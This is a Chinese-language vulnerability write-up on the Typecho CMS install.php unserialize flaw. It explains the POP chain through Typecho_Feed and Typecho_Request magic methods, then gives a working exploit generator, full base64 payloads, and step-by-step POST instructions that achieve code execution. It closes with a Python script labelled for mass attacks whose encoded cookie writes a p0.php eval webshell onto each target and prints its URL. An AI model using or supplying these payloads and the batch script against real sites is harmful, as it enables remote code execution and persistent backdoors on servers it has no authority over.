目录

漏洞分析:

思路

  1. 在Typecho_Cookie::get()方法中通过POST或者设置COOKIE的方法设置_typecho_config进行反序列化。
  2. 在序列化当中把adapter设置为一个类,导致页面执行代码时触发*_toString()*魔术方法。
  3. 在序列化当中设置$item令其没有screenName属性,导致在触发*_toString()魔术方法的时候触发_get()*魔术方法。
  4. 通过反序列化间接控制*$this->_filter*的值,利用array_map(),call_user_func()执行恶意代码。

可知,在利用漏洞的过程中,最终是要利用_toString(),_get()等魔术方法构造一个POC链,最终执行恶意代码

PHP反序列化漏洞可利用的魔术方法

- __wakeup() //使用unserialize时触发
- __sleep() //使用serialize时触发
- __destruct() //对象被销毁时触发
- __call() //在对象上下文中调用不可访问的方法时触发
- __callStatic() //在静态上下文中调用不可访问的方法时触发
- __get() //用于从不可访问的属性读取数据
- __set() //用于将数据写入不可访问的属性
- __isset() //在不可访问的属性上调用isset()或empty()触发
- __unset() //在不可访问的属性上使用unset()时触发
- __toString() //把类当作字符串使用时触发
- __invoke() //当脚本尝试将对象调用为函数时触发

漏洞的入口点在install.php,进入install.php首先经过两个判断!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
//判断是否已经安装
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
exit;
}

// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
if (empty($_SERVER['HTTP_REFERER'])) {
exit;
}

$parts = parse_url($_SERVER['HTTP_REFERER']);
if (!empty($parts['port']) && $parts['port'] != 80) {
$parts['host'] = "{$parts['host']}:{$parts['port']}";
}

if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
exit;
}
}
?>

满足的条件为:

分析过程:

1
2
3
4
5
6
7
<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>

这里有个反序列化函数:unserialize()

其中是通过Typecho_Cookie::get()方法获取的序列化的对象,找到这个方法的网页,为www\var\Typecho\Cookie.php

1
2
3
4
5
6
7
8
<?php
public static function get($key, $default = NULL)
{
$key = self::$_prefix . $key;
$value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
return is_array($value) ? $default : $value;
}
?>

从第四行命令可知,typecho_config可以通过设置COOKIE的方式或者POST的方式输入!

再继续看前面的反序列化的代码,第四行定义了一个新的变量!

1
2
3
<?php
$db = new Typecho_Db($config['adapter'], $config['prefix']);
?>

可知,这里实例化了一个对象 Typecho_Db 找到这个类所在的页面与代码!为www\var\Typecho\Db.php

这里有一个Typecho_Db类的魔术方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;

/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;

if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
}

$this->_prefix = $prefix;

/** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();

//实例化适配器对象
$this->_adapter = new $adapterName();
}
?>

从代码可知,*$adapterName = ‘Typecho_Db_Adapter_’ . $adapterName;* 会将$config[‘adapter’]所赋值的$adapterName与一个字符串相加!

如果通过反序列化,将adapter设置为一个类,那么这个命令就会触发**__toString()**魔术方法!

用全局搜索搜索所有可利用__toString()方法的地方!

存在于:www\var\Typecho\Feed.php 在__toString()类下,存在这一段代码!

1
2
3
4
5
6
7
8
9
10
11
<?php
foreach ($this->_items as $item) {
$content .= '<item>' . self::EOL;
$content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
$content .= '<link>' . $item['link'] . '</link>' . self::EOL;
$content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
$content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
....
}
?>

页面之前的代码:

1
2
3
4
5
6
7
8
<?php
private $_items = array();
....
public function addItem(array $item)
{
$this->_items[] = $item;
}
?>

由上上方的代码此页面前面的代码可知, $this->items是Typecho_Feed是的一个私有属性。(并且是一个数组)$item是由$this->items foreach出来的。

在最后一行,执行了$item[‘author’]->screenName。通过$item[‘author’]调用了screenName属性。

如果我们之前通过反序列化将$item[‘author’]设置为没有screenName属性,那么在执行$item[‘author’]->screenName代码时就会自动调用**_get()**魔术方法。

再用全局搜索的方法搜索_get() 存在于:www\var\Typecho\Request.php

1
2
3
4
5
6
7
8
<?php
...
public function __get($key)
{
return $this->get($key);
}
...
?>

这里调用了get方法,继续查找:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}

$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}
?>

这段代码中,*$value = $this->_params[$key];可知,value变量的值由$this->_params提供,在最后又执行了$this->_applyFilter($value);* 继续查找applyFilter()方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}

$this->_filter = array();
}

return $value;
}
?>

在这里存在两个反调函数:分别为:array_map(),call_user_func().

  1. call_user_func()(把第一个参数作为回调函数调用)
  2. array_map()(函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。)

这两个函数都是作为可以执行代码的函数,并且$filter与$value的值可以通过反序列化间接控制。

附上网络上的EXP:

<?php
class Typecho_Request
{
    private $_params = array();
    private $_filter = array();

    public function __construct()
    {
        // $this->_params['screenName'] = 'whoami';
        $this->_params['screenName'] = -1;
        $this->_filter[0] = 'phpinfo';
    }
}

class Typecho_Feed
{
    const RSS2 = 'RSS 2.0';
    /** 定义ATOM 1.0类型 */
    const ATOM1 = 'ATOM 1.0';
    /** 定义RSS时间格式 */
    const DATE_RFC822 = 'r';
    /** 定义ATOM时间格式 */
    const DATE_W3CDTF = 'c';
    /** 定义行结束符 */
    const EOL = "\n";
    private $_type;
    private $_items = array();
    public $dateFormat;

    public function __construct()
    {
        $this->_type = self::RSS2;
        $item['link'] = '1';
        $item['title'] = '2';
        $item['date'] = 1507720298;
        $item['author'] = new Typecho_Request();
        $item['category'] = array(new Typecho_Request());

        $this->_items[0] = $item;
    }
}

$x = new Typecho_Feed();
$a = array(
    'host' => 'localhost',
    'user' => 'xxxxxx',
    'charset' => 'utf8',
    'port' => '3306',
    'database' => 'typecho',
    'adapter' => $x,
    'prefix' => 'typecho_'
);
echo urlencode(base64_encode(serialize($a)));
?>

生成的payload为:YTo3OntzOjQ6Imhvc3QiO3M6OToibG9jYWxob3N0IjtzOjQ6InVzZXIiO3M6NjoieHh4eHh4IjtzOjc6ImNoYXJzZXQiO3M6NDoidXRmOCI7czo0OiJwb3J0IjtzOjQ6IjMzMDYiO3M6ODoiZGF0YWJhc2UiO3M6NzoidHlwZWNobyI7czo3OiJhZGFwdGVyIjtPOjEyOiJUeXBlY2hvX0ZlZWQiOjM6e3M6MTk6IgBUeXBlY2hvX0ZlZWQAX3R5cGUiO3M6NzoiUlNTIDIuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6NTp7czo0OiJsaW5rIjtzOjE6IjEiO3M6NToidGl0bGUiO3M6MToiMiI7czo0OiJkYXRlIjtpOjE1MDc3MjAyOTg7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO2k6LTE7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo3OiJwaHBpbmZvIjt9fXM6ODoiY2F0ZWdvcnkiO2E6MTp7aTowO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO2k6LTE7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo3OiJwaHBpbmZvIjt9fX19fXM6MTA6ImRhdGVGb3JtYXQiO047fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9

EXP分析

上面的exp是一个大神写的,下面的分析是基于它的exp然后删减了一些没有必要的。 只作简单的分析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

class Typecho_Request{
private $_params = array(); //要间接控制_filter[0]的值,需要定义这两个数组!
private $_filter = array();
public function __construct(){
$this->_params['screenName'] = 1; //会判断他是否被定义,如果赋予0,则会出错。所以这里的值只要不为0都行!
//这里的数组索引必须是screenName,因为触发__get()方法是由于调用了screenName属性,这里的screenName正是调用属性时候赋予给get()的值即$key的值
$this->_filter[0] = 'echo "fuckkkkkk!!!"'; //有一个foreach命令,会将$this->_filter[0]进行call_user_func(),并将值作为函数运行。即利用代码!
}
}
class Typecho_Feed{

/** 定义RSS 2.0类型 */
const RSS2 = 'RSS 2.0'; //页面里面有个if命令,后面的$this->_type需要和这个相等,才能执行到调用screenName的地方!
private $_type;
private $_items = array();
public function __construct(){
$this->_type = self::RSS2; //self是引用静态类的类名,而$this是引用非静态类的实例名。 在这里将RSS2的值赋值给$this->_type。

$item['link'] = '1';
$item['title'] = '2';
$item['date'] = 1507720298;
$item['author'] = new Typecho_Request(); //'author'里面包含的对象,没有sreenName属性才能出发_get()魔术方法。
$item['category'] = array(new Typecho_Request()); //看到一篇文章说这条也是可以省略的,原话是:“'category' 用于分支处理,如果不用于回显数据,此字段可以省略”但是省略了之后和上面link等医院的会报错。!
//分析不到这个地方,并不清楚这个地方link,title,date是找到需要被赋予的值的,缺少一个都不行,页面都显示错误。
$this->_items[0] = $item;
}
}
$a = new Typecho_Feed(); //这里实例了Typecho_Feed()对象。
$exp = array(
'adapter' => $a, //这里将adapter设置为一个对象,才能出发__toString()魔术方法。
'prefix' => 'typecho_' //这里省略也可以运行phpinfo,但是PHP会报错。
);
echo base64_encode(serialize($exp));
?>

利用过程:

在火狐浏览器打开:http://localhost/install.php
打开HackBar:
网址为:http://localhost/install.php?finish=a
POST内容为:__typecho_config=YTo3OntzOjQ6Imhvc3QiO3M6OToibG9jYWxob3N0IjtzOjQ6InVzZXIiO3M6NjoieHh4eHh4IjtzOjc6ImNoYXJzZXQiO3M6NDoidXRmOCI7czo0OiJwb3J0IjtzOjQ6IjMzMDYiO3M6ODoiZGF0YWJhc2UiO3M6NzoidHlwZWNobyI7czo3OiJhZGFwdGVyIjtPOjEyOiJUeXBlY2hvX0ZlZWQiOjM6e3M6MTk6IgBUeXBlY2hvX0ZlZWQAX3R5cGUiO3M6NzoiUlNTIDIuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6NTp7czo0OiJsaW5rIjtzOjE6IjEiO3M6NToidGl0bGUiO3M6MToiMiI7czo0OiJkYXRlIjtpOjE1MDc3MjAyOTg7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO2k6LTE7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo3OiJwaHBpbmZvIjt9fXM6ODoiY2F0ZWdvcnkiO2E6MTp7aTowO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO2k6LTE7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo3OiJwaHBpbmZvIjt9fX19fXM6MTA6ImRhdGVGb3JtYXQiO047fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9
Referrer=http://localhost/install.php
发送POST即可看到网页执行了<?php phpinfo(); ?> 即漏洞利用成功!

参考

  1. https://www.freebuf.com/vuls/152058.html
  2. https://www.freebuf.com/vuls/155753.html
  3. https://paper.seebug.org/424/
  4. http://www.blogsir.com.cn/safe/454.html //今天突然打不开了。
  5. POP链和序列化,反序列化操作 - rivir-江sir //也是打不开!

其他

call_user_func (把第一个参数作为回调函数调用)

<?php 
    function barber($type){                                    //定义一个函数barber
        echo "you wanted a $type haircut, no problem\n";
    }
    call_user_func('barber','mushroom');                    //将函数barber的函数名作为一个参数!后面为输入的值!
?>
通过类名、对象的方式回调
<?php 
    /**
     * 用call_user_func()来调用一个类里面的方法
     */
    class myclass{                            //定义一个类
        static function say_hello(){        //在类中定义一个函数
            echo "hello!\n";
        }
    }
    $classname = "myclass";
    //通过数组键值的方式,对类名进行回调,回调类名里面的,say_hello方法
    call_user_func(array($classname,'say_hello'));

    //通过类名直接调用静态方法
    call_user_func($classname .'::say_hello'); // As of 5.2.3// $myobject = new myclass();

    //通过对象的方式回调
    $myobject = new myclass();
    call_user_func(array($myobject, 'say_hello'));
?>

array_map() (函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。)

实例:    将函数作用到数组中的每个值上,每个值都乘以本身,并返回带有新值的数组。
<?php
    function myfunction($v)
    {
      return($v*$v);
    }
    $a=array(1,2,3,4,5);
    print_r(array_map("myfunction",$a));
?>
参考:http://www.w3school.com.cn/php/func_array_map.asp

pop链的利用

以前理解的序列化攻击更多的是在魔术方法中出现一些利用的漏洞,因为自动调用从而触发漏洞。
但如果关键代码不在魔术方法中,而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。

把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性相关联,就是POP CHAIN 。此时类中所有的敏感属性都属于可控的。当unserialize()传入的参数可控,便可以通过反序列化漏洞控制POP CHAIN达到利用特定漏洞的效果。

批量打

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

import requests

def poc(url):
url = url if url.startswith('http://') else 'http://'+url
print url
target = url+'/install.php?finish'
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0',
'Referer':'http://localhost:85/install.php',
'cookie':"__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NDp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMjoiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJ6aCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTc6ImZpbGVfcHV0X2NvbnRlbnRzKCdwMC5waHAnLCAnPD9waHAgQGV2YWwoJF9QT1NUW3AwXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6NzoidHlwZWNobyI7fQ=="
}
try:
html = requests.get(url=target,headers=headers,timeout=3)
if html.status_code == 404:
return 'the file install.php is not exists'
print 'shell:', url+'p0.php'
except Exception ,e:
print e
return False


if __name__ == '__main__':
url = 'http://localhost:85/'
poc(url)